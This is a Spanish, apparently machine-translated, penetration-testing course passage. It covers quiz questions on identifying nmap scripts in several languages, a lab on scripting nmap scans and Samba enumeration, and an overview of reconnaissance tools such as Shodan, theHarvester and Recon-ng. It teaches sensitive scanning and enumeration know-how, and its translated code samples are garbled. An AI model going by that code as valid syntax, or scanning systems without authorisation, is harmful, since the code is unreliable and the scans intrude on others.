Utilizando la información del gráfico, ¿cuál debería ser la primera línea de código del
shebang?
#!/ usr/bin/python3
¿Qué rango de puertos se escaneará?
TCP 21 a 80
Revise el ejemplo de código que se muestra. Utilice las características de sintaxis para
determinar qué lenguaje de scripting se utiliza para interpretar el código.
1 requiere 'nmap/comando'
2 Nmap:: [Link] do |nmap|

17
3 nmap.syn_scan = true
4 [Link] _fingerprint = true
5 [Link] _scan = true
6 [Link] _xml = '[Link]'
7 [Link] = true
8 [Link] = [20, 21, 22, 23, 25, 80, 110, 443, 512, 522, 8080, 1080]
9 [Link] = '10.6. 6.* '
10 fin
11 #Analizar archivos de escaneo XML de Nmap:
12 requieren 'nmap/xml'
13 Nmap:: [Link]('[Link]') do |xml|
14 [Link] _host do |host|
15 pone "[#{ [Link] }]"
16 [Link] _puerto hacer |puerto|
17 pone " # {[Link]}/#{[Link]} #{[Link]}#{[Link]}"
18 fin
19 fin
20 fin
Utilizando la información del gráfico, ¿qué intérprete de lenguaje de scripting se
utilizará para ejecutar este código?
Rubí
¿Cuál es el objetivo de este escaneo Nmap?
La subred [Link]/24
Revise el ejemplo de código que se muestra. Utilice las características de sintaxis
para determinar qué lenguaje de scripting se utiliza para interpretar el código.
1 $ nmapExe = "Archivos de programa (x86)Nmap
[Link]"
2 # definir objetivos de nmap
3 $ objetivo = "[Link]/24", "[Link]/29"
4 # Ejecutar escaneo nmap para cada objetivo
5 para cada ($objetivo en $objetivo)
6{
7 $filename = "nmap_results"
8 $nmapfile = " .emp" + $filename + $target +".xml"
9 [Link] /c "$nmapExe -p 20-25,80,443,3389,8080 -oX $nmapfile -A -v $target"
10 }
Utilizando la información del gráfico, ¿qué intérprete de lenguaje de scripting se
utilizará para ejecutar este código?
Windows PowerShell
¿Qué opciones utilizará Nmap para el escaneo y qué significan esas opciones?
-p lista de puertos a escanear
-oX genera la salida a un archivo XML
-Un escaneo agresivo
-v salida detallada
Pregunta de reflexión

18
Las habilidades de análisis de código se evalúan en las certificaciones de pruebas de
penetración. ¿Qué ventajas ofrece a los pentesters el dominio de las habilidades de
análisis de código a la hora de descubrir vulnerabilidades?
Las respuestas pueden variar. Según uno de los creadores de certificaciones, para
analizar código, los pentesters deben estar familiarizados con los lenguajes de
programación. El análisis de código les ayuda a descubrir vulnerabilidades, incluyendo
código que intenta descargar archivos, iniciar acceso remoto, enumerar usuarios o
enumerar recursos. Fin del documento.
Demostración en vídeo
Seleccione reproducir para ver una demostración del laboratorio.

Transcripción
En este laboratorio, crearás un script sencillo para demostrar cómo automatizar tus
tareas de pruebas de penetración. La creación de scripts es fundamental para ahorrar
tiempo durante el breve plazo que los clientes suelen conceder para realizar dichas
pruebas.
También practicarás la identificación de scripts, una habilidad crucial para los pentesters
en el campo y para una variedad de exámenes de certificación.
En la primera parte, escribirás un script para automatizar un escaneo con nmap y luego
extenderás ese script basándote en
sobre los resultados del escaneo.
El primer paso es crear un script bash básico. Inicia sesión en tu Kali y abre una terminal.
Nuestro objetivo de escaneo inicial es [Link]. Siempre es recomendable asegurarse de
que el objetivo responda a los pings. Abra el editor de texto Mousepad.
Puedes hacerlo desde el menú de aplicaciones o simplemente introduciendo mousepad en
tu terminal.
Guardaremos este archivo como un script de shell o .sh.
Puedes configurar el tipo de archivo en el menú Documento, Tipo de archivo, Script.
Mousepad aplicará ahora formato de código de color a tu script. En la primera línea,
introduce el #! que lo identifica como un shell.
Ahora escribamos un script básico que le pida al usuario que ingrese una dirección IP.
Si el usuario no proporciona ningún valor, queremos devolver un mensaje de error.
El símbolo de almohadilla (#) al comienzo de la segunda línea identifica esto como un
comentario.

19
La tercera línea inicia la instrucción if. Entre corchetes, -z devolverá verdadero. Si no hay
ningún valor para el signo de dólar, devuelve uno. El signo de dólar indica que uno es una
variable.
Es el valor que el usuario debe proporcionar al ejecutar el script, como verá más adelante.
Si -z es verdadero, entonces en las líneas cuatro, cinco y seis, queremos entrar en la parte
"then" del bucle, imprimir un mensaje al usuario con la sintaxis correcta para ejecutar este
script y, a continuación, salir de la parte "then" del bucle. La línea siete inicia la parte
"else" del bucle.
Si el usuario proporcionó un valor al ejecutar el script, en la línea ocho se imprime una
instrucción con ese valor. El bloque `fi` en la línea nueve cierra el bucle `if then`.
Guarda el archivo en tu directorio actual. Como [Link].
Necesitamos hacer que este script sea ejecutable. Abre una nueva terminal e introduce
chmod +x [Link].
Prueba tu script sin ningún valor y luego con una dirección IP. Ahora, ampliemos el script
para ejecutar nmap en la IP objetivo. Insertaremos varias líneas antes del final del bucle if-
then. En la línea nueve, imprime un mensaje indicando que nmap se está ejecutando. La
línea 10 es un comentario. La línea 11 contiene el comando nmap, especificando la opción
`sv` para sondear los puertos abiertos en busca de información sobre el servicio y la
versión. La variable `$1` indica al script que escanee la dirección IP proporcionada por el
usuario.
El resultado del escaneo se redirige a un archivo de texto guardado en el directorio actual.
La línea 12 imprime un mensaje cuando finaliza el escaneo.
Guarda el script y luego ejecútalo de nuevo.
Ejecute el comando `cat` en el archivo de texto para ver los resultados del escaneo.
Observe que hay varios puertos abiertos.
Los puertos 139 y 445 del servicio Samba son de especial interés. El segundo paso consiste
en extender el script para que busque puertos abiertos de Samba. Si existen, se enumeran
los servicios de Samba. En la línea 14, se añade un comentario que explica la función del
siguiente bucle condicional. En la línea 15, se inicia la instrucción condicional buscando el
puerto 445 en los resultados del escaneo.
Si existe, canaliza esa salida a otro grep para buscar "open".
Si se encuentra 445 abierto, ingrese un bucle en la línea 16.
Aquí me voy a desviar un poco del procedimiento habitual. En la línea 17, quiero que la
terminal muestre un mensaje indicando que se ha detectado que Samba está abierto y
que se está iniciando la enumeración. En la línea 18, introduzca `enum` para que Linux
busque usuarios ( opción `u`) y recursos compartidos (opción `s`) en la dirección IP
introducida por el usuario.
Los corchetes angulares dobles garantizan que la salida se añada al final y no sobrescriba
el archivo de resultados de escaneo existente. Las líneas 19 a 21 imprimen mensajes en la
terminal cuando finaliza la enumeración.
Las líneas 22 y 23 especifican qué hacer si el puerto 445 no se encuentra o no está abierto.
La línea 24 finaliza el segundo bucle if-then. Guarda el script y ejecútalo.
Consulte los resultados para ver la información obtenida de la enumeración.
Desplácese hacia arriba para ver los usuarios y las acciones compartidas enumeradas para
[Link].
El tercer paso consiste en usar nmap desde la línea de comandos, especificando un archivo
de datos que contenga las direcciones IP a escanear. Introduzca «containers» en la línea

20
de comandos para obtener una lista de los contenedores que se ejecutan en su máquina
virtual.
Queremos escanear todas las direcciones IP que pertenecen a la red [Link]/24.
Crea otro documento de panel táctil e introduce las cinco direcciones IP.
Guarda el archivo con un nombre apropiado. Vuelve a la terminal y ejecuta nmap.
Especifica la opción 1sn para un escaneo ping simple.
La opción il especifica que se utilice un archivo de entrada. Añada el nombre del
archivo que acaba de crear. Pulse Intro. Este escaneo debería realizarse con bastante
rapidez.
No dudes en explorar más técnicas de scripting por tu cuenta, utilizando todas las
técnicas de penetración que has aprendido en este curso.
La segunda parte es un pequeño ejercicio para que te hagas una idea de las diferencias
sintácticas entre
Scripts en Bash, Python, Ruby y PowerShell.
Esta tabla es una excelente herramienta de estudio, ya que desglosa las diferentes
partes de un script, la sintaxis de cada función en cada lenguaje y algunos ejemplos.
Debajo de la tabla se muestran algunos ejemplos de scripts que debería poder
identificar en su trabajo.
A menudo, se puede identificar el script inmediatamente en las primeras líneas de
código.
Por ejemplo, la instrucción `import` en este script delata claramente que se trata de
Python.
El guion. Además, debería poder leerse fácilmente, ya que incluye comentarios.
Pero incluso sin ellos, ¿puedes ver que el script escaneará los puertos del 21 al 80?
En el siguiente ejemplo, de forma similar a la instrucción import en Python, sabemos
que se trata de un script de Ruby debido a la instrucción requerida que especifica que
se debe cargar el comando nmap.
El tercer ejemplo comienza con una variable $ que especifica qué programa cargar
cuando se llama a la variable.
Observe que la ruta especificada es obviamente una ruta de Windows.
Por lo tanto, podemos deducir que se trata de un script de PowerShell.
Asegúrate de dedicar suficiente tiempo a cada uno de los lenguajes de scripting que se
muestran en este laboratorio. Diviértete creando, modificando y ejecutando tus
propios scripts de pruebas de penetración de forma segura dentro de tu máquina
virtual Kali.

Por favor, responda a las siguientes preguntas después de haber completado el


laboratorio.

21
Prueba de habilidades
¿Qué afirmaciones son ciertas sobre el siguiente código? (Elige dos).
importar nmap
inicio = 20
parada = 26
host = '[Link]'
para i en el rango( inicio, fin +1):
resultados = [Link] (thost,str(i))
resultados = resultados['scan'][thost]['tcp'][i]['state']
imprimir( 'El puerto {i} es {resultados}.')
Utiliza el módulo nmap de JavaScript.
Mostrará el estado de los puertos 20 a 26 en el destino.
Escaneará un rango de hosts con direcciones IP [Link]-26.
Requiere el intérprete de comandos Bash para ejecutarse.
Escaneará el host [Link] con Nmap.
Encuesta de laboratorio
Me siento segura de las habilidades que practiqué en este laboratorio.
Totalmente de acuerdo
Completar este laboratorio fue una buena manera de emplear mi tiempo.
Totalmente de acuerdo
10.2 Comprensión de los diferentes casos de uso de las herramientas de pruebas de
penetración y análisis del código de explotación.
10.2.1 Descripción general
Soluciones de seguridad Protego
Uno de los mayores desafíos de nuestra profesión es encontrar la herramienta
adecuada para cada tarea. Como ya habrás visto, existen muchas herramientas de
pruebas de penetración, algunas de las cuales ofrecen múltiples funciones.
Mantenerse al día con todas las herramientas, sus funciones y cómo utilizarlas es
prácticamente un trabajo de tiempo completo. Además, constantemente aparecen
nuevas herramientas y las antiguas se vuelven obsoletas.
Los pentesters suelen optar por las herramientas que les han dado buenos resultados
en el pasado. Es imposible aprender a usar todas las herramientas disponibles. Sin
embargo, resulta muy útil comprender la función de las herramientas más populares y
para qué tareas son más adecuadas. A partir de ahí, puedes probarlas, aprender de
ellas y decidir si quieres incorporarlas a tu conjunto de herramientas de pentesting.
Los siguientes son casos de uso para herramientas de pruebas de penetración:
 Reconocimiento
 Enumeración
 escaneo de vulnerabilidades
 Ataques a las credenciales
 Persistencia
 Cumplimiento de configuración
 Evasión
 Descompilación

22
 Análisis forense
 Depuración
 Garantía de software (incluyendo fuzzing, pruebas de seguridad de aplicaciones
estáticas [SAST] y pruebas de seguridad de aplicaciones dinámicas [DAST])
Las siguientes secciones describen las herramientas más utilizadas en las pruebas de
penetración.
10.2.2 Pruebas de penetración: distribuciones Linux especializadas
Varias distribuciones de Linux incluyen numerosas herramientas para pruebas de
penetración. El objetivo de estas distribuciones es facilitar el inicio en las pruebas de
penetración, sin tener que preocuparse por las dependencias de software ni los
problemas de compatibilidad que podrían surgir al instalar y desplegar dichas
herramientas. A continuación, se presentan las distribuciones de Linux más populares
para pruebas de penetración:
 Kali Linux
 Parrot OS
 BlackArch Linux
 BlackArch en Docker
Seleccione cada distribución para obtener más información.

23
Kali Linux
Kali Linux es una de las distribuciones más populares para pruebas de penetración.
Está basada en Debian GNU/Linux y evolucionó a partir de distribuciones Linux
anteriores para pruebas de penetración (WHoppiX, WHAX y BackTrack). Una imagen
Live de Kali Linux en CD/DVD/USB/PXE permite acceder a una instalación desde cero.
Puedes descargar Kali Linux desde [Link] .
Kali Linux incluye cientos de herramientas, y la comunidad crea constantemente
nuevas y las añade a Kali. Para obtener la lista más actualizada de herramientas de
pruebas de penetración incluidas en Kali Linux, visita [Link] .
La figura 10-1 muestra el menú Todas las aplicaciones de Kali Linux, que enumera
todas las categorías principales de herramientas incluidas en la distribución.
Figura 10-1 - Menú de todas las aplicaciones de Kali Linux
NOTA Offensive Security publicó un libro y un curso gratuitos de código abierto sobre
cómo instalar, personalizar y usar Kali Linux. El libro y el curso se pueden encontrar en
[Link] .

24
Parrot OS
Parrot OS es una distribución de Linux basada en Debian, enfocada en pruebas de
penetración, análisis forense digital y protección de la privacidad. Puedes descargar
Parrot desde [Link] y acceder a la documentación en
[Link] .
La figura 10-2 muestra una captura de pantalla del menú de aplicaciones y el
ecosistema de Parrot OS.
Figura 10-2 - Parrot OS

BlackArch Linux
BlackArch Linux es una distribución de Linux que incluye más de 1900 herramientas de
pruebas de penetración de seguridad. Puede descargar BlackArch Linux desde
[Link] y acceder a la documentación en

25
[Link] . El código fuente de BlackArch Linux está disponible
en [Link] .
La figura 10-3 muestra una captura de pantalla del menú de aplicaciones y el
ecosistema de BlackArch.
Figura 10-3 - Menú de aplicaciones de BlackArch

BlackArch en Docker
La figura 10-4 muestra cómo ejecutar BlackArch en un contenedor Docker.
Figura 10-4 - Ejecutando BlackArch en un contenedor Docker
10.2.3 Herramientas comunes para reconocimiento y enumeración
El módulo 3, «Recopilación de información e identificación de vulnerabilidades»,
abarca algunas de las metodologías y herramientas que se pueden utilizar para el
reconocimiento activo y pasivo. Las siguientes secciones describen varias herramientas
adicionales que se pueden utilizar para el reconocimiento y la enumeración.
Herramientas para el reconocimiento pasivo
El reconocimiento pasivo consiste en intentar recopilar información sobre una víctima
utilizando información y registros públicos, pero sin emplear herramientas activas
como escáneres ni enviar paquetes a la víctima. En el sector, a la información
disponible públicamente se la suele denominar inteligencia de fuentes abiertas
(OSINT).
NOTA: La OSINT suele incluir inteligencia sobre amenazas y puede utilizarse tanto para
la seguridad ofensiva como defensiva. En esta sección, cuando hablamos de OSINT, nos
referimos a su uso para la seguridad ofensiva (es decir, pruebas de penetración y
hacking ético).
Las siguientes secciones describen algunas de las herramientas más populares de
reconocimiento pasivo y OSINT.
Nslookup, Host y Dig

26
Puedes usar herramientas basadas en DNS como Nslookup , Host y Dig para realizar
reconocimiento pasivo. El ejemplo 10-1 muestra la salida de Nslookup para
[Link]. Este dominio es un nombre canónico (CNAME) asociado con
[Link]. El sitio web está alojado en GitHub y existen varias direcciones
IP que se resuelven a ese nombre ([Link], [Link],
[Link] y [Link]).
Ejemplo 10-1 - Uso de Nslookup para reconocimiento pasivo
omar@ kali:~ $nslookup [Link]
Servidor: [Link]
Dirección: [Link]#53
Respuesta no autorizada:
nombre canónico de [Link] = [Link].
[Link] nombre canónico = [Link].
Nombre: [Link]
Dirección: [Link]
Nombre: [Link]
Dirección: [Link]
Nombre: [Link]
Dirección: [Link]
Nombre: [Link]
Dirección: [Link]
El ejemplo 10-2 muestra la salida de la utilidad Dig contra el mismo sitio web.
Ejemplo 10-2 - Uso de Dig para reconocimiento pasivo
omar@ poseidón:~ $ dig [Link]
; <<>> DiG 9.11.3-1ubuntu1.1-Ubuntu <<>> [Link]
;; opciones globales: +cmd
;; Respuesta obtenida:
;; ->>ENCABEZADO<<- opcode: CONSULTA, estado: SIN ERROR, id: 11540
;; banderas: qr rd ra; CONSULTA: 1, RESPUESTA: 6, AUTORIDAD: 0, ADICIONAL: 1
;; SECCIÓN PSEUDO-OPCIONAL:
EDNS: versión: 0, flags:; udp: 65494
;; SECCIÓN DE PREGUNTAS:
;[Link] . EN A
;; SECCIÓN DE RESPUESTAS:
[Link]. 3600 EN CNAME [Link] . yo.
[Link]. 3599 EN CNAME [Link].
[Link].
[Link]. 3599 EN A [Link]
[Link]. 3599 EN A [Link]
[Link]. 3599 EN A [Link]
[Link]. 3599 EN A [Link]
: 262 ms
;; SERVIDOR: [Link]#53([Link])
;; CUÁNDO: Lun 03 Sep 22:02:37 UTC 2018
;; TAMAÑO DEL MENSAJE recibido: 183
omar@ poseidón:~ $

27
Quién es
La Corporación de Internet para la Asignación de Nombres y Números (ICANN) es la
organización que supervisa los dominios de Internet y que creó el Sistema de Reporte de
Problemas de Datos Whois (WDPRS). La mayoría de las versiones de Linux, Windows y macOS
son compatibles con la utilidad Whois para consultar la base de datos Whois. También se
puede usar Whois para reconocimiento. Desafortunadamente, debido al Reglamento General
de Protección de Datos (RGPD) de la Unión Europea, el acceso a la base de datos Whois está
restringido para proteger la privacidad. El ejemplo 10-3 muestra el resultado de la utilidad
Whois al consultar el dominio [Link].
Ejemplo 10-3 - Uso de Whois para el reconocimiento pasivo
omar@ kali:~ $ whois [Link]
Nombre de dominio: [Link]
ID de dominio del registro: D402200000006011258-LROR
Servidor WHOIS del registrador: [Link]
URL del registrador: [Link]
Fecha de actualización: 2018-06-02T20:31:48Z
Fecha de creación: 2018-05-04T03:43:52Z
Fecha de vencimiento del registro: 2028-05-04T03:43:52Z
Fecha de vencimiento del registro del registrador:
Registrador: Google Inc.
ID de registro IANA: 895
Correo electrónico de contacto para denunciar abusos en el registro: registrar-
abuse@[Link]
Teléfono de contacto para denunciar abusos en el registro: +1.6502530000
Revendedor:
Estado del dominio: transferencia del servidor prohibida [Link]
epp#serverTransferProhibido
Organización registrante: Contact Privacy Inc. Cliente 1242605855
Estado/Provincia del registrante: ON
País de registro: CA
Servidor de nombres: [Link]
Servidor de nombres: [Link]
Servidor de nombres: [Link]
Servidor de nombres: [Link]
DNSSEC: delegación firmada
URL del formulario de quejas por inexactitudes en Whois de la ICANN:
[Link]
org/wicf/
>>> Última actualización de la base de datos WHOIS: 2018-06-23T20:11:03Z <<<
Para obtener más información sobre los códigos de estado de Whois, visite https://
[Link]/epp
Se proporciona acceso a la información WHOIS del Registro de Interés Público.
para ayudar a las personas a determinar el contenido de un nombre de dominio
Registro inscrito en la base de datos del Registro de Interés Público.
Los datos de este registro son proporcionados por el Registro de Interés Público para
Únicamente con fines informativos, y el Registro de Interés Público no
Garantizar su exactitud. Este servicio está destinado únicamente a consultas.

28
acceso basado en derechos. Usted acepta que utilizará estos datos únicamente para
fines legales.
fines y que, bajo ninguna circunstancia, utilizará estos datos para
(a) permitir, habilitar o apoyar de cualquier otra forma la transmisión por correo
electrónico,
publicidad comercial masiva no solicitada por teléfono o fax, o
solicitudes a entidades distintas de las existentes del destinatario de los datos
clientes; o (b) permitir procesos electrónicos automatizados de alto volumen
que envían consultas o datos a los sistemas del Operador del Registro, un
Registrador o Afilias, salvo en la medida razonablemente necesaria para el registro
No se permiten nombres de dominio ni modificaciones de registros existentes. Todos
los derechos reservados.
Public Interest Registry se reserva el derecho de modificar estos términos.
en cualquier momento. Al enviar esta consulta, usted acepta cumplir con esto.
política.
Consulte el servicio RDDS del Registro Civil identificado
En este documento encontrará información sobre cómo contactar al registrante.
Administrador o contacto técnico del dominio consultado.
FOCA
Fingerprinting Organization with Collected Archives (FOCA) es una herramienta
diseñada para encontrar metadatos e información oculta en documentos. FOCA puede
analizar sitios web, así como documentos de Microsoft Office, Open Office, PDF y otros
formatos. Puede descargar FOCA desde [Link] . FOCA
analiza los archivos extrayendo la información EXIF (formato de archivo de imagen
intercambiable) de los archivos gráficos, además de la información descubierta a
través de la URL del sitio web escaneado.
Herramienta Exif
ExifTool es una herramienta popular para extraer información EXIF de imágenes. EXIF
es un estándar que define los formatos de imágenes, sonido y etiquetas
complementarias que utilizan equipos digitales como cámaras digitales, teléfonos
móviles y tabletas. Puede descargar ExifTool desde [Link] . El ejemplo 10-
4 muestra el resultado de ExifTool al procesar la imagen omar_pic.jpg.
Ejemplo 10-4 - Uso de ExifTool
omar@ kali:~ $ exif omar_pic.jpg
Etiquetas EXIF en 'omar_pic.jpg' (orden de bytes 'Motorola'):
---------------------+------------------------------------------------
Etiqueta | Valor
---------------------+------------------------------------------------
Fabricante | Apple
Modelo | iPhone X
Orientación | Superior izquierda
Resolución X |72
Resolución Y |72
Unidad de resolución | Pulgada
Software |11.4
Fecha y hora | 23/06/2018 16:42:26
Tiempo de exposición |1/40 seg.

29
Número F |f/1.8
Programa de exposición | Programa normal
Clasificación de velocidad ISO |25
Versión Exif | Versión Exif 2.21
Fecha y hora (Origi |2018:06:23 16:42:26
Fecha y hora (dígito | 2018:06:23 16:42:26
Componentes Configura |Y Cb Cr -
Velocidad de obturación |5,33 EV (1/40 seg.)
Apertura |1,70 EV (f/1,8)
Brillo |4,23 EV (64,49 cd/m²)
Sesgo de exposición |0,00 EV
Modo de medición | Patrón
Flash | El flash no se disparó, modo flash obligatorio
Distancia focal |4,0 mm
Área temática | Dentro de un rectángulo (ancho 2217, alto 1330)
alrededor de ( x,y ) =
Nota del fabricante | 986 bytes de datos indefinidos
Tiempo subsegundo (Ori |293
Tiempo inferior a un segundo (Dig |293
Versión de FlashPix | Versión de FlashPix 1.0
Espacio de color |sRGB
Dimensión X de píxeles |4032
Dimensión Y en píxeles |3024
Método de detección | Sensor de área de color de un solo chip
Tipo de escena |Fotografiada directamente
Modo de exposición | Exposición automática
Balance de blancos | Balance de blancos automático
Distancia focal en 35 mm |28
Tipo de captura de escena | Estándar
Latitud Norte o Sur |N
Latitud |29, 94, 51.98
Longitud este u oeste |O
Longitud |47, 40, 35.28
Altitud de referencia | Nivel del mar
Altitud |109.527
Unidad de velocidad |K
Velocidad de recepción GPS |0.1767
Dirección de imagen GPS |T
Dirección de la imagen GPS |235.92
Referencia para Bearin |T
Rumbo al destino |235.92
--------------------+--------------------------------------------------
omar@ kali:~ $
la cosechadora
theHarvester es una herramienta que permite obtener información DNS sobre un
nombre de host o dirección IP. Puede consultar diversas fuentes de datos, como Baidu,
Google, LinkedIn, servidores públicos con certificación Pretty Good Privacy (PGP),

30
Twitter, vhost, VirusTotal, ThreatCrowd, [Link], Netcraft y Yahoo. El ejemplo 10-5
muestra las diferentes opciones de theHarvester.
Ejemplo 10-5 - Opciones de herramientas de la cosechadora
omar@ kali:~ $ theHarvester -h
Uso: opciones de The Harvester
-d: Dominio a buscar o nombre de la empresa
-b: fuente de datos: baidu, bing, bingapi, dogpile, google,
googleCSE, googleplus, google-profiles, linkedin, pgp, twitter,
vhost, virustotal , threatcrowd, crtsh, netcraft, yahoo, todos
-s: Comienza en el resultado número X (predeterminado: 0)
-v: Verificar el nombre del host mediante resolución DNS y buscar virtual
anfitriones
-f: Guarda los resultados en un archivo HTML y XML (ambos).
-n: Realiza una consulta DNS inversa en todos los rangos detectados
-c: Realizar un ataque de fuerza bruta DNS para el nombre de dominio
-t: Realizar un descubrimiento de expansión de TLD de DNS
-e: Utilizar este servidor DNS
-l: Limita el número de resultados con los que trabajar (Bing pasa de
(50 a 50 resultados, Google 100 a 100, y PGP no usa esta opción)
-h: usar la base de datos SHODAN para consultar los hosts descubiertos
Ejemplos:
theharvester -d [Link] -l 500 -b google -h myresults.
html
theharvester -d [Link] -b pgp
la cosechadora -d microsoft -l 200 -b linkedin
theharvester -d [Link] -b googleCSE -l 500 -s 300
NOTA: El comando `theharverster` está obsoleto. Utilice `theHarverster` en su lugar. El
resultado será ligeramente diferente al que se muestra en el Ejemplo 10-5.
El ejemplo 10-6 muestra la herramienta theHarvester en uso para recopilar
información sobre el dominio [Link], utilizando todas las fuentes de datos (-b all).
Se puede observar que theHarvester encontró varios subdominios:
[Link], [Link], [Link], [Link],
[Link] y [Link].
Ejemplo 10-6 - Uso de la herramienta theHarvester para recopilar información sobre
[Link]
Shodan
Shodan es un motor de búsqueda para dispositivos conectados a Internet. Shodan
escanea continuamente Internet y expone sus resultados a los usuarios a través de su
sitio web ( [Link] ) y mediante una API. Los atacantes pueden usar
esta herramienta para identificar sistemas vulnerables y expuestos en Internet (por
ejemplo, dispositivos IoT mal configurados o dispositivos de infraestructura). Los
pentesters pueden usar esta herramienta para recopilar información sobre sistemas
potencialmente vulnerables expuestos a Internet sin necesidad de escanear

31
activamente a sus víctimas. La figura 10-5 muestra los resultados de una búsqueda en
Shodan de dispositivos cliente de Cisco Smart Install expuestos a Internet.
Figura 10-5 – Shodan

El ejemplo 10-7 muestra el cliente de la API de Shodan. En este ejemplo, el cliente


muestra estadísticas generales para la consulta de instalación inteligente. Aquí se
pueden ver los 10 países principales con clientes de Cisco Smart Install expuestos a
Internet.
NOTA: Las bibliotecas cliente de la API de Shodan se pueden descargar desde
[Link] .
Ejemplo 10-7 - Uso del cliente API de Shodan
omar@ kali:~ $ shodan stats instalación inteligente
Los 10 mejores resultados para la faceta: país
EE. UU. 6.644
2.637 coronas suecas
JP S 1.783
CAS 1.677
EN S 1.646
FR S 998
BR S 868
MX S 661
AU S 625
ES 377
Los 10 mejores resultados para Facet: org
Korea Telecom 1.230

32
JAB Wireless S 620
Corporación LG DACOM 406
Cox Communications 389
Red gubernamental de Afghantelecom 252
web rápida 251
Time Warner Cable 216
Universidad de York 146
Cogent Communications 131
Acceso Haití SA 102
El ejemplo 10-8 muestra las opciones disponibles del cliente API de Shodan.
Ejemplo 10-8 - Opciones del cliente de la API de Shodan
omar@ kali:~ $ shodan -h
Uso: shodan [OPCIONES] COMANDO [ARGS]...
Opciones:
-h, --help Muestra este mensaje y sale.
Comandos:
Alerta Gestiona las alertas de red para tu cuenta
Convierta el archivo de datos de entrada proporcionado en un...
count Devuelve el número de resultados de una búsqueda
Acceso masivo a datos en Shodan
Descargar. Descargue los resultados de búsqueda y guárdelos en un...
honeyscore Comprueba si la IP es un honeypot o no.
Host Ver toda la información disponible para una IP...
Información: Muestra información general sobre tu cuenta.
init Inicializa la línea de comandos de Shodan
miip Imprime tu dirección IP externa
Analizar. Extraer información de JSON comprimido...
radar Comprueba si la IP es un honeypot o no.
Escaneo: Escanee una IP/bloque de red utilizando Shodan.
Buscar Buscar en la base de datos de Shodan
Las estadísticas proporcionan información resumida sobre una búsqueda...
Transmita datos en tiempo real.
omar@ kali:~ $
Maltego
Maltego, que recopila información de registros públicos, es una de las herramientas
más populares para el reconocimiento pasivo. Admite numerosas integraciones de
terceros. Existen varias versiones de Maltego, incluyendo una edición comunitaria
(gratuita) y diversas opciones comerciales de cliente y servidor. Puede descargar
Maltego y obtener más información en [Link] . Maltego permite
encontrar información sobre empresas, individuos, pandillas, instituciones educativas,
grupos políticos, grupos religiosos, etc. Maltego organiza las entidades de consulta en
la Paleta de Entidades, y las opciones de búsqueda se denominan «transformaciones».
La figura 10-6 muestra una captura de pantalla de los resultados de búsqueda para una
entidad Persona (en este caso, una búsqueda del coautor de este libro, Omar Santos).

33
Los resultados son jerárquicos y se pueden realizar consultas/búsquedas adicionales
sobre las entidades resultantes.
Figura 10-6 - Resultados de búsqueda de Maltego

En el Centro de Transformación de Maltego, puede seleccionar productos gratuitos y


comerciales que se integran con Maltego. Por ejemplo, puede integrar Maltego con
Shodan o con el sitio web HaveIBeenPwned, que permite consultar si una persona o
una dirección de correo electrónico se ha visto comprometida en una brecha de
seguridad (y, potencialmente, recuperar las credenciales robadas en dichas brechas).
Decenas de herramientas y productos comerciales adicionales se integran con
Maltego, como se muestra en la Figura 10-7.
Figura 10-7 - Centro de transformación de Maltego

Recon-ng

34
Recon-ng es una herramienta basada en menús que permite automatizar la
recopilación de información OSINT. Viene incluida con Kali Linux y otras distribuciones
Linux para pruebas de penetración, y se puede descargar desde
[Link] . La figura 10-8 muestra el menú de
bienvenida de Recon-ng.
Figura 10-8 - Recon-ng

Recon-ng incluye docenas de módulos que permiten realizar búsquedas detalladas


en registros públicos, archivos de interés, registros DNS, etc. El ejemplo 10-9 muestra
el resultado del comando `show modules` en Recon-ng, que lista todos los módulos
disponibles.
Ejemplo 10-9: Módulos de reconocimiento
[recon-ng][predeterminado] > mostrar módulos
Descubrimiento
---------
descubrimiento/divulgación_de_información/espionaje_de_caché
descubrimiento/divulgación de información/archivos interesantes
Explotación
------------
explotación/inyección/inyector de comandos
explotación/inyección/xpath_bruter
Importar
------
importar/archivo_csv
importar/lista
Recon
-----
recon/companies-contacts/bing_linkedin_cache

35
recon/companies-contacts/jigsaw/point_usage
recon/companies-contacts/jigsaw/purchase_contact
recon/companies-contacts/jigsaw/search_contacts
recon/companies-contacts/linkedin_auth
recon/companies-multi/github_miner
recon/companies-multi/whois_miner
recon/contactos-contactos/probador de correo
recon/contactos-contactos/manchado
recon/contactos-contactos/desmanipular
recon/contactos-credenciales/hibp_breach
recon/contactos-credenciales/hibp_paste
recon/dominios-contactos/migrar_contactos
recon/contactos-perfiles/contacto completo
reconocimiento/credenciales-credenciales/adobe
reconocimiento/credenciales-credenciales/bozocrack
recon/credentials-credentials/hashes_org
recon/dominios-contactos/metacrawler
recon/dominios-contactos/pgp_search
recon/dominios-contactos/whois_pocs
recon/domains-credentials/pwnedlist/account_creds
recon/domains-credentials/pwnedlist/api_usage
recon/domains-credentials/pwnedlist/domain_creds
recon/domains-credentials/pwnedlist/domain_ispwned
reconocimiento/credenciales de dominios/lista comprometida/búsqueda de fugas
recon/domains-credentials/pwnedlist/leaks_dump
recon/dominios-dominios/sufijo_bruto
recon/dominios-hosts/bing_domain_api
recon/dominios-hosts/bing_dominio_web
recon/dominios-hosts/brute_hosts
recon/dominios-hosts/construido con
recon/dominios-hosts/transparencia_de_certificados
recon/dominios-hosts/google_site_api
recon/dominios-hosts/google_site_web
reconocimiento/dominios-hosts/objetivo hacker
recon/dominios-hosts/mx_spf_ip
recon/dominios-hosts/netcraft
recon/dominios-hosts/shodan_hostname
recon/dominios-hosts/ssl_san
reconocimiento/dominios-hosts/crowd de amenazas
recon/domains-vulnerabilitys/ghdb
reconocimiento/dominios-vulnerabilidades/punkspider
recon/dominios-vulnerabilidades/xssed
recon/domains-vulnerabilitys/xssposed
recon/hosts-domains/migrate_hosts

36
recon/hosts-hosts/bing_ip
recon/hosts-hosts/freegeoip
recon/hosts-hosts/ipinfodb
recon/hosts-hosts/resolve
recon/hosts-hosts/reverse_resolve
recon/hosts-hosts/ssltools
recon/ubicaciones-de-hosts/migrar_hosts
recon/hosts-ports/shodan_ip
recon/ubicaciones-ubicaciones/geocodificación
recon/ubicaciones-ubicaciones/geocodificación_inversa
reconocimiento/ubicaciones-chinchetas/flickr
reconocimiento/ubicaciones-chinchetas/instagram
recon/locations-pushchins/picasa
reconocimiento/ubicaciones-chinchetas/shodan
reconocimiento/ubicaciones-chinchetas/twitter
reconocimiento/ubicaciones-chinchetas/youtube
recon/netblocks-companies/whois_orgs
recon/netblocks-hosts/reverse_resolve
recon/netblocks-hosts/shodan_net
recon/netblocks-ports/census_2012
recon/netblocks-ports/censysio
recon/ports-hosts/migrate_ports
recon/perfiles-contactos/buceador_dev
recon/perfiles-contactos/usuarios_github
